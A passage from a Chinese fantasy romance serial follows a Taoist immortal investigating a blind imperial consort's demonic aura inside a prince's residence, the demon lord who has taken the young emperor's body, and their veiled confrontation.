太衡真人从京城来到并州,已大致摸清情况,国生灾变,一裂为两半,如今在京城把持国政的世家有不臣之心,将年少的天子逐出了皇城,如今的老皇帝只是傀儡。金册的道印被所解封,太衡查其究竟,确定是当今的皇太后所发。
但并州城弥漫着奇怪的气息,他一入城就觉得不适,这种压抑和隐藏的危机比内乱更让他心神不宁,他此前看见京城正在整军待发,并州的平静恐难持久,但眼下兵祸尚未迫近,因此他并未急着现身。
他在王府发现一个女子,十八九岁的年纪,容色端丽,观其行止,似抱病在身,且目不能视,出入常有医官相随,看上去丝毫无害,应当就是个闺秀,奇怪的是,她周身萦绕一缕莫名的幽息,十分难解,令他不觉为之侧目。
她应当身份不俗,除了去向太后请安,平日里只是闲居王府内院,偶有一妇人前来探望,看起来像是她的母亲。
而就在今日,沈纨与母亲一同出府前往西郊,与了太衡机会凑近些观察。
她与母亲正在一雪亭内休憩,附近的梅林绵延至远方,亭中烘着香炉,白烟袅袅,景色甚是静好,太衡思量一番,元神凝聚,分出一缕神思,变作一只翠鸟,飞向那少女。
正逢午时,姜鸾音站在庭外嘱咐王府的随员若干琐事,沈纨倚在雪亭内,披着厚厚的大氅,捧着一个小巧的香炉,正在等待母亲。
忽然她感到膝上扑棱一声,指尖触到一个毛茸茸的东西,她低低地惊呼出声,继而又听见啁啾的鸟鸣。
“咦?你……”膝上的小生灵并不惧人,仍是唧唧地叫,翅膀蹭到她的指尖,非常温顺,沈纨把香炉放置一旁,那小生灵跳到她手中,她摸到它的软羽和长喙,是一只鹅蛋大小的雀儿。
“隆冬时节竟还有这样的小雀儿,你可是迷路了?要不要吃些什么?”她嘴角指尖轻轻抚摸它灵动柔软的小脑袋。
“唧。”小鸟以一声欢快的鸣叫作答。
沈纨欣喜地将它放在掌心,小鸟顺从地窝在她掌中,她一只手轻轻地摸着柔软的鸟羽。
此时姜鸾音归来,一旁的丫鬟更换温好的酒水,并摆上茶果,姜夫人瞧见沈纨手中是一只翠鸟,不禁呀了一声。
沈纨瞧不见,问母亲:“可识得这是只什么鸟?”
姜鸾音打量着鸟儿青翠的羽毛,不禁笑道:“我来河东之时,就见到此地有种青羽雀,家家户户最是喜欢豢养,色泽青翠,很是美丽。”
沈纨从果盘里捡了些坚果喂给它。
太衡真人猛地睁开眼睛,目光锐利,凝视着沈纨,他看着温纯善良,眉目间无半点锋芒,看似再无害不过,但……他眉间深锁,魔气,她体内有浓厚的魔气。
她是被魔族诱了?还是魔物隐藏在人间意图不轨?
日头逐渐偏西,沈纨与母亲启程返回王府,她双手捧着那只青雀,尝试放归它,但是那鸟儿盘旋了一阵,在她临上马车之际,飞了进来,又落在她的膝上。
“你要跟我回去吗?”
“说不定是饿了,如今天寒,想是只落了单的鸟儿,知道这里有吃的,就跟了过来。”这翠鸟还没巴掌大,看起来很可爱,一旁的侍婢也不禁莞尔。
姜夫人亦道:“这青雀儿是并州常见的鸟雀,性情也亲人,想是从什么人家飞出来的,如此天气若放归山林,恐怕难以存活。”
沈纨轻轻地抚摸着它的羽毛,小雀儿以鸟首轻轻蹭她的掌心,宛如一团柔软的绒云,十分驯顺,她凝思片刻,决定先带回王府,再试着寻觅主人
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,若无主,不妨养在后院里。
如此一来,太衡真人歪打正着,没费多大功夫就进入了王府。她的身份也被知悉,是并州府一位官员之女,另一重身份更加特殊,她是当今天子的沈婕妤。
他在人间已盘桓多日,尘世的近况掌握得差不多,不能再拖延下去,并州随时可能面临大军袭境,是时候现身,去见召唤他的人了。
谢太后启封密存的金册,该秘册泛起柔和的光华,昼夜不熄,谢明璋心神激荡,但几日过去,并无动静,由期待变得有些着慌,已开始疑心此物是否并无意义,今日金册的光明突然愈亮,并不住闪烁,太后启卷细看,发现金册内的银箔浮现浮现一行路图,指示她前往王府之外的某处,她急忙召集侍卫出府。
就这样,谢太后见到了百年前与齐室开国先祖有一段因缘的太衡真人。
魔族提前有备,隐藏气息,沈纨浑然不觉自己被注意到,依旧如常生活,府里的侍婢得知沈婕妤近日收留了一只翠鸟,可爱通人性,都过来看它。
但今日偏生出了事,周王世子性顽劣,他父王身患痼疾,本就子嗣艰难,王妃几经艰难才诞下这一子,爱逾性命,他那些年幼恶毒之处,因未至伤人性命,如今也无人敢管。
下午在庭院内,青羽雀飞到周王世子手中,园中的侍婢知他素习的,都极为紧张,一边是天子钟爱的沈婕妤,另一边又是金贵的世子殿下。众人悬着心,指望那青雀机灵敏捷,若有伤害也能及时飞离。
世子把青雀捧在手心,欢呼雀跃,他相貌可爱,看起来一派天真烂漫,但脸色突然一变,抓住鸟儿的翅膀就向两侧撕扯,青雀一声哀鸣,振翅欲飞,这孩子攥其羽翼,挥臂乱甩,然后猛掷于园中青石板上。
沈纨感觉到青雀落在她足边不远处,忙站起身来,她失明多日,平日里生活都有许多不便处,不曾有养宠之念,但这小鸟却撞入怀中,相伴数日,成了难得的陪伴,心下发急,想要俯身摸索,但此举失仪,身旁婢女急忙扶持,以免婕妤失态。
世子的乳母与婢女也忙于安抚他的情绪,但那孩子尖声叫喊:“我不许你救它!!”
“在吵什么?”一个威严的声音传入院中,在场众人纷纷跪下请安,太后携随从来到了庭院里。
沈纨屈膝之际,忽觉面前有人迫近,拾起一物,放入她掌心,听到一清冽男声,如寒泉击石一般:“鸟儿无事,贵人平时可得……细心看好了。”
她双眸丧失神采,茫然无措,但近观之下,的确是个极美的女郎。
太衡挺直身躯,悄然向后退。
那孩子又犯病了,太后蹙眉凝神不语,是不是又摔死了一只小动物,却见那雀儿蜷在沈纨手中,四周有青色光华环绕,不知是否已得了救治,她稳了稳心神,转向世子与沈纨道:
“沈婕妤,纬儿,快来见过上清境的太衡前辈,或者,孤该说,赵王殿下。”
55. 头痛
周王世子在太后面前不敢造次,立刻老实了许多,沈纨完全不知这突然出现在王府内院的男子是什么来路,只听得太后对他言辞恭敬,先叫他前辈,后又称殿下,遂以面见皇族间长辈的礼数敛衽曰:“见过赵王殿下。”
“不必称殿下,叫前辈就好。”他语气淡漠。
“是,晚辈沈氏见过前辈。”
端雅持重、谦和有礼、温柔可亲,作为一个天子后妃仪态很是端庄,但站在她面前,那萦绕周身的魔气愈加强烈,太衡满心疑窦,她究竟是伪装的魔物,还是不幸着了魔族道的女子?
“你那眼睛,怎么弄的?”
“此前兵乱,叛军在宫廷纵火,妾身困于火海,受创昏厥,待醒来时,双目已然失明。”
“你把手伸出来。”
沈纨不解其意,但一旁的太后却并未劝阻,见沈纨犹豫,反道:“沈婕妤,依前辈所言行事。”
她依言伸出手来,太衡真人袖中飞出一缕丝线,绕在她腕上,他三指搭于丝线上,凝神诊断。
那丝线如蛛丝般纤细却韧,在阳光下泛着银色光华,突然色转幽蓝,银线上有细小的冰晶蔓延开来。
她体内气息紊乱,有魔息向丹田汇聚,此女毫无修为,内家功夫自不必说,外家的看着也不像有,却隐隐具备成为魔修的根基,长此以往,不堕魔道,也会为自己招来邪恶。
他奇怪的是,即便是那些已经堕入魔道的,他曾经的同修,也很难修炼出如此精纯的魔息,这女孩儿究竟是什么来路,太衡越想目光越是凝重。
谁教她的?
沈纨到底身份特殊,他在她面前久驻不去,庭院四周的婢女在他面前屏息不安,他神色越发冷峻,太后看在眼里,心中疑虑,也只好默然等待。
他不动声色地收了银丝,沉吟半响方启口:“娘子似有痼疾在身,切勿轻信民间偏门方术,否则,将入歧途,有性命之虞。”
说罢,他冲太后微微颔首,示意可以离去,太后嘱咐众人好生照看世子和沈婕妤,与太衡真人一同步出了花园。
“前辈何出此言?沈婕妤的伤势危及性命?”
太衡真人委婉道:“她失明之初调理不当,如今留下难症,殿下可否能将此女交予我几日。”
谢太后容色微变,萧氏祖上保存一件能通联天界的秘密,先皇每离世前,才能托付子嗣或尚在人世的发妻,没想到仙人下凡,第一件事就是向她索要一个女人,她努力让自己的声音听起来平静些:“前辈,沈氏身份特殊,她是宫妃,还是吾儿钟情之人。”
天子妃嫔满身魔气,这听上去愈加可疑,他初来时,认为太后召唤他,乃是江山有变,欲请他襄助天家平定乱局,如今却发现,世间隐藏异状,并非简单的兵祸,恐怕将有他和他的同修不得不介入的状况。
有魔族潜入了人间。
实情实在是难以尽述,谢太后显然是误会了,太衡耐着性子答道:“殿下切莫误会,平日里只管多派侍婢过来照料沈婕妤,此女伤得蹊跷,若无妥善处理,将为她招来邪祟。”
邪祟说不定已经出现了。
“沈婕妤在离开京城时伤到眼睛,失明至今,前辈有办法?”
“寻常岐黄之道已难以医好她,沈婕妤如今需要非尘世的法门介入。”
“晚辈冒昧一问,前辈可是通晓医术?”
“算是吧,在凡间,姑且够用。”
谢明璋心中似乎燃起些希望,她蹙眉思量一番后道:“前辈,吾儿去年春在郊野深受重伤,如今亦是痼疾缠身,困扰医官多时。”
“皇帝亦有重疾在身?”太衡语气诧异,自他踏入并州之地,便第一时间确认了天子行踪,见他长时间停驻于军营,而军容整肃,并不像京师所放言的那般,是个昏聩之主,也看不出身体不适。
“他如今子嗣艰难,此隐情唯有我们母子二人知晓,对周王世子,亦有意作为储君,悉心培养,然而前辈今日想必也心里有数,世子非储君之选。”
太衡沉默不语,京师那肥胖天子老而昏聩,气弱体虚,靠丹砂和五石散振奋心神,凡间那粗糙的炼丹法门,莫说延年益寿,索命还差不多。并州的周王是个终日困于轮椅的病秧子,而世子天性残暴,欺凌幼弱小动物的暴行屡屡为之,且毫无悔意。
而看起来最靠谱又年少的当今天子,竟然也身患不治之症。
简直就像被什么夙世的因缘诅咒了一样,没一个正常人。
“我来时经过并州大营,皇帝军务繁重,若得闲暇,能面君一叙,我自当前来拜见。”
“前辈客气了,您是长辈。军务虽紧急,但皇帝的御体康健也拖延不得,孤会携皇儿亲往拜会前辈。”
太衡真人这几日在并州的活动魔情看在眼中,他没多费力就知道了他的身份,上清境的青年剑修,他是名人,一百来岁的年纪,在道域算晚辈,却是个不世出的天才,若起冲突,整个并州城将人仰马翻。
人间的繁华荣辱对长寿的魔族来说不在话下,那才是他们势均力敌的对手。
太后差人送来信息,要求他今日回王府一聚,魔情算了算日子,遣人回信:晚一日。
是夜方过晚膳,王府外便来了天子禁卫,传召沈婕妤出府一见。
这个时辰,再晚些该就寝了,沈纨心中奇怪,但还是更衣梳妆,预备出府。
她离开寝居时,廊下的青羽雀唧唧叫,她听到翅膀扑棱声,然后落在她手中,她微笑道:“你想随我去吗?”
青羽雀围着她打转,似有跟随之意,太衡心知此处乃女眷闺阁,平日里不好直接进入内室,总是歇在廊下。日前落了场雪,携带冻雨,至夜婢子欲把青雀携入,安置花厅内,但青雀还是执意飞出去,众人无法,只得在檐下悬挂横木,在其下放置炭炉,任其栖息其上。
天子禁卫深夜要带她出府,可疑得很,青雀低低盘旋于她身侧,沈纨携侍女跟随禁卫离开,它振翅追随,才到府门,却骤然受阻,仿若撞上无形之障,屡试之下,皆不得离开。
“咦?那青雀呢?”青羽雀跟着沈纨出了院子,还欢快地在周围盘旋,在登车之际,鸟鸣声却戛然止息。
蒹葭在夜色中张望了一下,朦胧间见一小雀在院墙上扑腾,片刻后却又飞回了内院。,她猜测道:“许是夜了,不敢跟出来,这样的小雀儿,胆子小。”
青羽雀毕竟只是太衡一缕微弱的神识,他感应到了阻碍,突然睁开双眼,有人早做准备,限制了他的行动。
那女郎被带走了。
夜幕低垂,郊野沉入一片漆黑,冬夜又冷,入夜后气氛肃杀,蒹葭内心也疑
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惑不已,不知如此天气天子要带婕妤去哪儿。御驾早在郊外静候,沈纨的马车与其合流,她下了马车与他同乘,灯笼火把映出一条橙黄的光路,于夜色中蜿蜒前行。
马车轱辘前行,驶入一片密林,林间忽起大雾,模糊了昏黄的灯光,随后,这队有着禁卫护送的皇家队伍,渺然于密林之中。
沈纨只带着蒹葭,随着渐入深林,蒹葭独坐在銮驾后的马车内,忽然打了个呵欠,头一歪睡着了。
她双目失明,昼夜不辨,但也不明白因何要趁夜出行:“公子欲带我往何处去?”
“防止有人偷听。”
“公子已知王府近日来了贵客?”
“他太打眼了,不难判断。”
“我与那位前辈只得一面之缘,不曾询问过来历,只是偶听玉露居侍婢所言,是一名年轻的道长。”
“你认为他是为何而来的?”
“王府本就有道观,近日的确办了法事,为此前亡故的将士祈福。”
总不至于是来驱邪的,她内心暗想。
不料魔情却笑道:“诶,他不会是来驱邪的吧?”
她迟疑道:“还请公子手下留情,少伤人命。”
他语气里依旧带着些调侃:“若真起了冲突,你更相信谁呢?”
“普通人还奈何得了公子?”
她现在对他的实力倒是很信任,但太衡真人不是普通人,魔族虽不惧他,打起来整个并州城依旧得翻过来。
“只是个假设,那位道长毕竟算是你们的同胞。”
她竟然沉默了,魔情不满地看着她,不能算是意外的答案,但恼人得很。
这丫头真没良心。
但没想到,她突然抬起手来,茫然地摸索了一阵,先是碰到他的臂膀,摸索着,轻轻地拉住了他的手。
她看起来有点不好意思,微微垂着头,也什么都没说,不过,她做出了选择。
突然生出点戏耍的心理,他稍稍挨近她,伸出手指,很想要轻轻推一下她的额头,他们现在挨得很近,这个距离,对于一般闺秀来说,足以感受到冒犯,并怪责对方一句登徒子,但太可惜了,她看不见,所有的情绪都只能他自己消化。
魔情突然觉得兴致索然,默默地回撤了,就在这个时候,车轮轧过路上的石块,他正倾身面向沈纨,马车陡然一震,他向前磕上去,两个人脑袋撞在一起。
沈纨疼得抱住头,虽然没说什么,但内心很是疑惑,他不是个魂魄吗?为什么这样疼?即使是以天子皮相示人,也比她要高些,两个人的脑壳怎么会撞在一起,好痛!
飞来的无妄之灾,竟然让高傲的魔尊一时间产生了点懊恼,甚至难以言说的挫败感,出于必要的原因,他今日久违地再次用了小皇帝的皮囊,没想到撞了沈纨头上一个包。
他突然觉得这整件事很是愚蠢,虽然是他自己招来的。
马车适时停下,魔情冷静下来:“到了。”
他领着她下了马车,沈纨不知自己来到了何地,只感觉到周遭的寒气奇妙地退去许多,远方传来飘渺的夜歌。
“我们来到了何地?”
“随我过来。”他伸手将她一扯,沈纨随着踏前一步,就好像突然穿越进什么奇境,面前出现一片广大的世界,她突然看得见了。
56. 新月
面前是一片明亮的夜色,远处的山谷满布民居,似有悬浮星光照亮夜空,民间举凡入夜,爱惜灯火的人家,莫不早早就寝,而远处那些与尘俗的民居完全不同的屋舍,泛着柔和的微光,空气中薄雾氤氲,一条长河穿过村落,如天上星河泄地,河面银光闪烁。
“能看得见吗?”
她珍惜突然得来的光明,惊奇地四下张望,颌首,并问道:“这里是何处?”
“此间名为夜栖原,为夜族聚居之处,他们……姑且算是我族的同胞吧。”
人间竟然有魔族的聚落。
沈纨从未见过这样的所在,没想到除了风泽山的狐狸客栈,别处竟然另有洞天:“公子为何带我来此?”
“若我将来离去,你的眼睛还能不好,相信他们,他们会治好你。”
“我不明白,为什么我在这里突然看得见了?”
“凡间气息混杂,魔气会郁结在你体内,此间算是在人世的魔域,气息流通,你五感不受压迫,自然就能看见了。”
他们并不是单独来的,沈纨转过身,发现他们身后还有十数名天子近卫,她还惊诧地发现,那些人身边有一名格外高大的武将,正是她仅有过一面之缘的饕餮。
饕餮气场强大,极有侵略性,但生得着实不错,怪不得能让璎珞一见之下念念不忘,让并州的媒婆捧着一堆亲事上门。
那些近卫一身铠甲,戴着头盔,难以看见面容,沈纨正奇怪为何公子能毫不避嫌地带这些人来到魔族居所,他们取下头盔,向沈纨躬身行礼。
他们的身姿较常人稍长,形貌各异,有的肤色苍白,眼珠颜色偏淡,有的肤色铁灰,眉骨极高,轮廓分明,有生得容貌俊朗的,也有相貌殊异,如狞厉的青铜假面,仿佛额上将生出角来。
显然,这些都不是人类。
“提前见一面也好,将来他们会关照你的。”
那些人对沈纨十分恭敬,她亦回礼:“沈纨幸会各位。”
夜族并不多话,仅躬身回礼,默契地退到远处。
沈纨看向魔情,好不容易复明,他还是小皇帝的模样,眼睛的颜色却变了,他有一对常人没有的,泛着金色的眼瞳。
他好像猜出她在想什么,答道:“魔域生变,夜族知情者有限,等你的伤好了,我的伤也好了,也许,尚有机会在此间一会。”
她有点失望,转身望向山谷,远山呈现连绵黑影,泛着光的河流分开谷地间的村落,河岸边闪烁着银色的雾气,灯火悬浮在半空中,那些撒落在谷中的屋舍,与她在民间所熟稔的村落截然不同。
她被这奇妙的夜色迷住了,想到未来可能要在此间暂居,一时间心绪起伏,她对此境全然不知,一会儿他们还会离开,到时又要陷入瞎子一抹黑的境地里了。
但无论如何,公子承诺会治好她,沈纨刚要说谢谢,突然心神剧震,眼前景象骤然撕裂,瞬息仿佛坠入虚空,她一时间站立不稳,魔情上前来接住她。
面前的夜色突然间消失,沈纨想极力分辨身边的环境,周身却被刺骨寒冰所裹挟,拨开黑色的雾气,她看见一片弥漫白雾的雪境,面前是耸峙的冰山,足下是深不见底的冰潭,有若干黑影伫立。她面前有一面巨型冰壁,徐徐拉开,云雾弥漫,她看到冰壁内封着一个高大身影,黑色的甲胄,黑亮如玉的长发落在有倒刺、似是猛兽形状的肩甲上。
有人走上前,那好像是一个她熟悉的背景,另有一些不曾见过的陌生人,将那沉睡的青年放入冰舟之中,云雾飘渺,似乎一晃之下能窥见其形影,她却只记住了那青年的下颌以及薄唇,线条堪称完美。
耳畔听见流动的魔语,那个声音和语气好生耳熟,让她想到早已离开人间的混沌。
她无法再支撑下去,倒在魔情怀中。
魔情与她共同目睹了一切,就在刚才,他的肉身从万年冰河中解封,已经修复,并穿透时空,与远在人间的魂魄形成呼应,沈纨接纳了他一部分修为,形成共感,让她窥见了自己在万年冰河里的身影。
他摆脱小皇帝身份的时间快了。
太衡真人追寻至夜栖原附近,他闯入一片密林,如踏入了八卦迷阵,术数全然失效,即便御剑凌空,也只能见到一望无际的浓密树林,古木参天,遮天蔽日,远处能看见乡野人家,但也只是毫不出奇的寻常农居。他立刻知晓此地有些门道,尚不知正邪,太衡放弃了强行破阵之念,退至稍远之处,静候在外。
直到月上中天,天子銮驾才自林间驶出,太衡真人隐在云间,遥观禁军护送銮驾,在军营停了一会儿,队伍分流,有十余禁卫随一位高大的武将返回了军营,其余护送小皇帝和沈婕妤返回了王府。
太衡虽然心中起疑,当下却看不出端倪。
沈纨在朦胧间醒来,眼前又是一片黑暗,她努力眨了眨眼,还是什么都看不见,光明转瞬即逝,她叹了口气,内心很是失望。
马车到了王府,天色已晚,内院寂静,魔情带着她穿过回廊,步入深院之中,太后和王妃已经就寝,众人还道沈婕妤被天子召唤,不在府里,王府不若宫廷规矩森严,于是侍婢们乐得躲懒,聚在小房间喁喁私语。
幽夜寂静,虽然她们并不刻意张扬声音,竖起耳朵还是能听见只言片语。
她们的对话很零散,沈纨前些日子“侍寝”的消息传遍大半个王府,麒麟院对结果很是满意,可一到府医的例行诊视,脉案却不甚乐观,因此,大补之物还是源源不断地往王府里送,做好了之后又差人送去大营。而太后和王妃有命,要求众人务必照料好沈婕妤,早日促成第二次侍寝。
沈纨听得面热,真是……尴尬。
“公子将那些药如何处理了?”她并不觉得魔情会认真去吃那些东西。
“大营里伤员不少,总有用得上的。”
“那些鞭类他们也吃了?”
他忽而笑道:“周王搞不好将成储君,他多吃点总没坏处。”
不知怎么的,那些侍婢开始打赌,猜测沈婕妤下一次侍寝的时间,有的说三五日后,有的说十天半月,又有铜板叮当的声音,她们的行为随后被更年长的女官给呵阻了。
“仔细你们的皮,别以为不在宫里就能如此胡乱议论,被人听到,要打板子的。”
声音又渐渐小下去,谈论起其他更无关紧要的话题。
“她们的赌局怕是赢不了。”沈纨干笑道,她若在此时回到玉露居,说不定得把那些聚在一处说小话的侍女吓出个好歹来。
魔情却看着天空,朦胧的天穹悬着黯淡的新月,他的确是有点失察,今夜外出没留意时机。
“你今天就要侍寝了。”
“啊??什么!?”
“今夜正好是初一。”
又一个月过去了,还意味着她很快
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就要开始觉得冷了。
魔情四下张望,玉露居外院有只青雀,而他又引起了太衡的疑心,恐怕那牛鼻子也会留意到麒麟院。
昏暗的游廊尽头,有一个婢女抱着炭盆走过来,看见天子和沈婕妤,慌得跪下就要请安,魔情竖起一根手指放在唇边示意她噤声。
然后,他说了一句令沈纨一头雾水的话:“天寒地冻的,你表兄守夜一定也很难熬,你去瞧瞧他吧。”
“是……是的,多谢贵……贵人挂怀。”女孩儿嘟哝着,答得也颠三倒四,抱起地上的炭盆,转身离开了。
“公子这是何意?”
“我可是在做好事,她情郎在麒麟院外冻得发抖呢。”
太衡真人知道小皇帝带着沈婕妤回到了王府,他内心疑虑,的确守在麒麟院附近,想要从近处去观察那气质可疑的少年,没想到,附近传出了令人脸红心跳的靡靡之音。
魔情支走的丫鬟,是周王妃外院的一个洒扫丫头,与自己的表兄有私,她的表兄是麒麟院附近一个看门子的小厮,他们本就喜欢在不当值的时候私会,今夜被魔族一语挑断理智,情念暗生,趁夜去幽会情郎,小屋里的动静闷声闷气,除非路过,寻常之人不易察觉,但对于修为已臻境界的道域高人而言,实在是折磨,闹得太衡真人好大的没脸。
成何体统。
太衡很快就听不下去了,转身离开,还有机会面君,总能查明真相。
“今夜又要去麒麟院吗?”沈纨尚不知魔情挤兑走了太后敬重有加的前辈,她现在已经开始觉得有些冷了。
“不,我们到幽阁里去。”他们现在离开不会被打扰了。
魔情揽过她的腰,一瞬间她的身体变得轻盈起来,又过一会儿,她落进了一个安静的内室。
“这里是公子的月亮?”
“对,我的月亮。”
话语间有些暧昧的成分,他们都意识到了,不过沈纨很快就无暇顾及,因为她觉得越来越冷了,抵御寒气并不比此前的高热要好受,内息在体内需要反着运转,她最后感觉身体好像覆盖了一层冰霜。
蓝月深处有一水池,平素收集云气中的水分,黑玉一般的池底,好像有星光倒映其中,流水注入,又施以火炎之术,很快冒出热气。
沈纨几乎要冻僵了,在调息结束之后,魔情随她在池中泡了一会儿,她看不见,所以动作很慢,他也不去打扰她,安置好小皇帝的肉身,守在外面,萧誉能不能回来还是未知,他保留了这个机会,可作为筹码。
莫耶不久前离开了人间,饕餮长期在大营,蓝月幽阁内长燃的明灯在这时耗尽了灯台中的油脂,幽阁陷入了黯淡的,幽光闪烁的世界,就如他们刚才去过的夜栖原。
魔族的居所没有人味,也就沈纨此前短暂小住过几日,彼时有莫耶照料她,但今夜,当长明灯熄灭,魔情意识到幽阁内多了一个人,一个人族。
就像是一些魔兽嗅到人味,却又有所不同,她更衣的时候,衣物的棉料传来沙沙轻柔声响,虽然刻意放轻动作,还是能听见水花翻动的声音,还有非常不易察觉的,极其女性化的柔和气息,就像今夜的那弯幽娴的新月。
皇宫和王府都不吝于使用熏香,所以她身上总有好闻的气息,他从未伸手到她细白的脖子下,去打开衣襟一探芳泽,他还是不经意地知道了,那个幽微柔和的气息,不是熏香的味道。
57. 交锋
周王府西院的清明观现在成为太衡的居所,王妃虔信道教,清明观建造得颇具规模,除了三清主殿和两侧的东西配殿,另设经阁、书斋、静室诸所。天色尚未破晓,太衡真人已在三清殿前,方才他接到来自天上的飞书,道域又与魔域起了更大的冲突。
人间也战火迫近,他偏向一处就顾不上另一头。
谢太后昨夜心绪不宁,难以入眠,一早也来到道观,本欲进个香,未料在殿前遇见太衡真人。
天光未明,太衡问道:“殿下今日如何来得这般早?”
“孤所忧心之事前辈都知道,记挂着战事,以及吾儿。”
一些对于凡世来说是天大的事,对太衡并非毫无解决之道,但他觉得世间出了更大的麻烦,小皇帝身份非常可疑,他如今已有七八分确定,当下又不便明说,他沉吟片刻,试探问道:“若天子果真寿数难延,殿下将作何打算?”
太后一怔,神色黯然,她还是难以接受这个噩耗,心神不宁地沉默良久,方答道:“若果真如此,对社稷或前辈,皆是莫大考验,但愿不会有那一日。前辈对齐室社稷有誓言在先,危难当前,晚辈唯一希望,就是前辈信守诺言,先助我儿平乱。”
太衡心事重重地点头:“我会尽力而为,当下天子既在王府,还请今日面君一叙。”
谢太后近日为诸事烦恼,心情郁结,有些念头在她心头盘桓,听到太衡如此说,误解了他的话语,心头又燃起些希望,以为皇帝身体尚有救,点头道:“前辈说哪里话,誉儿是晚辈,早就该来见您,近日军务紧急,他此前一直在大营,孤听闻他昨日回了王府,今日凑巧了。”
魔情在清晨送沈纨回玉露居时,天色尚早,微明的晨光才刚洒落,除了清明观里谢太后和太衡真人的会谈,整个王府尚在缓慢苏醒中,府中走动的人员寥寥。
他们在小花园附近遇到个上了年纪的婆子,魔情在远处瞧见,扯着沈纨避到假山之后,那婆子眼神不好,只看到似是一对青年男女一晃而过。
这是她今晨碰见的第二对。
昨夜被魔情一语送走的那位周王妃院子里的洒扫丫头,到今晨才迷迷糊糊清醒过来,和表兄度过美妙一夜,分开时却被个早起的老婆子撞破,二人好说歹说,贴进去半个月的银钱让她去赌钱吃酒,才让婆子作罢。
半炷香不到又来一对野鸳鸯,那婆子抻着脖子走过来,叉着腰站在假山前张望,想要为自己再挣点花用,她在假山附近兜了一圈又一圈,哪里还有人。
其实他们就在假山的山洞之内,魔情弯下腰把沈纨揽入怀中,午夜的气息包围了她,外面的人只能看得见一片黯淡的阴影。沈纨在黑玉池里小憩了片刻,有一阵是真的睡着了,醒来倦意尽散,待磨磨蹭蹭出来,天色已将破晓,他们是直接下来的,她肌肤上缠绵着温度和水汽,鬓发挂着一点水珠,体温已经恢复,抱在怀里暖烘烘的,那股香气更加明显,像怀里拢了一捧花。
那婆子四处找不见人,嘴里絮絮叨叨地抱怨,一径走了:
“怪事,天寒地冻的,野鸳鸯恁多,柴房假山都来得,倒不怕冷,王府越发不像了。”
脚步声分明已经远去,魔情迟迟没有放开她,沈纨张嘴欲待说些什么,他抬手放在她肩头,轻轻推开,幽淡的香气远离了他。
他们才自花园中离去,附近就探出个头发花白的脑袋,那婆子不死心地在附近等候,果然附近有人,她欣喜若狂,看来有机会再敲一笔,忽见那形制明显高于周王的龙袍,身边是个乌发如云的女郎,红底银鹤的长披风,她悚然一惊,臊眉耷眼地缩回去,仿佛侥幸捡回一条老命。
麒麟院和玉露居的仆役刚刚经历了一场虚惊,昨夜天子和沈婕妤分明回到了王府,麒麟院的仆役以为天子留宿玉露居,玉露居的婢女又以为沈婕妤随天子去了麒麟院,及至太后遣人去请天子,两边都没人,众人大惊失色,才见到陛下带着沈婕妤正往玉露居来,惊魂方定,体会到了长庆宫众仆曾经的心境,天子行事恣意,突然就不知所踪,又在难以预料之时再次出现。
传讯的仆役心中疑惑,陛下为万盛之尊,只有旁人请求面君的,岂有让陛下屈尊而至,但太后懿旨,不敢不从,还是忠实地传达了信息:太衡真人请陛下前往清明观一会。
魔情早闻太衡之名,九十年前,得上清境高人引导进入道域,未几名震道魔两界,连魔域都知悉道境出了一位不世出的剑修,号曰太衡真人。
今日有太后引荐,他意外知悉太衡在人间竟有另一重身份——乃是本朝开国圣武皇帝之幼弟,赵王萧鸿信。
彼时天下群雄竞起,他年未弱冠就辅佐长兄横扫天下,因其天姿过人,被游历尘寰的南华宗宗主所察,南华宗乃是上清境著名剑门,在长兄即将为帝的前夕,萧鸿信被引入道门,家人本百般不愿,但他心存济世之念,终是决然而去。临行前遗下一副金册,允诺自己若修为有成,齐室将来遭逢危难,他会下世施以援手,襄助萧氏后人。
他是上清境名人,魔情不知他名讳,没想到来人间一遭,还能知道这样的秘闻,虽然心里不免诧异,但还是波澜不惊地随谢太后唤他:“前辈”。
太衡打量着天子,见他很是年少,却丝毫无生人气,目光微敛,内心更警觉三分,却不显山露水,平静道:“太后忧心陛下御体,还请陛下伸出手来,容我诊视。”
魔情依言伸出手来,天上道门修习的诊脉之法不若凡间,太衡立刻就察觉到,面前的少年有异状。
他震惊得说不出话来。
太衡当即扣住小皇帝脉门,未曾想他毫无惧色,不屑地一笑,王府仆役在不远处垂手而立,太后亦候在一旁,天子只是伸出手来,让面前的道门前辈诊断脉象,二人默默无言,却在凡人目所不能及的境况下开始了交锋,澎湃的魔气自小皇帝周身涌出,向太衡反噬过去。
黑暗的气息自四面八方合拢,一股极强的魔息在三清殿外腾起,赫然是来了极厉害的大魔,太衡敏锐地察觉到空间出现了异动,似有一只巨型的魔兽,饥渴地张开了獠牙,在王府上空盘桓,随时准备着要将这周王府的所有活物都吞噬下去。
他在拿整个周王府的人命要挟。
而且,毫不介意就此大开杀戒。
激烈的对峙激荡起无形的气浪,使得原本无风的庭院,落满雪的树枝不安地簌簌颤动,积雪遭受震荡,纷纷坠落下来,连远在王府偏远角落的小狐狸和蛇姥姥等精怪都不安地警戒起来。
【不如谈谈吧,赵王殿下。】
耳畔有幽幽传音,面前的天子气定神闲,身后显然还有个魔域最高级别的战将,若强行动武,胜负且不论,周王府恐怕鸡犬无存。
【我们不是敌人,收手吧。】
隐秘的交锋如退去的潮汐,四周恢复了宁静。
太衡不动声色地收回了手,萧誉毕竟是他长兄的后人,如今被魔物取而代之,他思及此不由得有些悲愤,而萧门绝嗣的危机,也愈加清晰地迫近眼前。
“前辈,吾儿状况如何?”
太衡冷静下来,理了理说辞:“陛下的确……肾阳有亏,想来去岁春蒐受创,影响尤在,又因体虚,恐招惹了邪祟,是不好处理。”
“邪祟?可需要什么法事应对?”
“此乃末节,陛下之症主要在虚,然殿下亦可一试,佛道都试试,我也会尽力而为。”
这等于张口就说是肾虚,还要用佛道恶心他,
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但即便是后者现在对他已经不会有什么影响了。
法事好说,但肾虚……太后轻咳一声,遣退众人。
“那如今应如何是好?”
“殿下,外患当前,先以平叛为要,且容我与陛下详谈,自会慢慢寻出良策来。”
太后是天子之母,但她理解在此事上太衡想要单独相谈的用意,遂颔首道:“那么,就劳烦前辈。”
太衡目送谢太后离开,心下十分不忍,他再度看向那装神弄鬼的魔族,眼神愈加冷漠严厉。
太衡缓声道,“身后的朋友不现身么?”
“出来吧。”魔情也下令道。
一些身着近卫服饰,高挑瘦削的武官出现,带着浓厚的魔气,饕餮也随众现身,他磅礴魔息如翻涌的浪潮,激荡四方。太衡看到一个相貌狂野的高大武将,面上盘踞着狰狞的黑色魔纹。
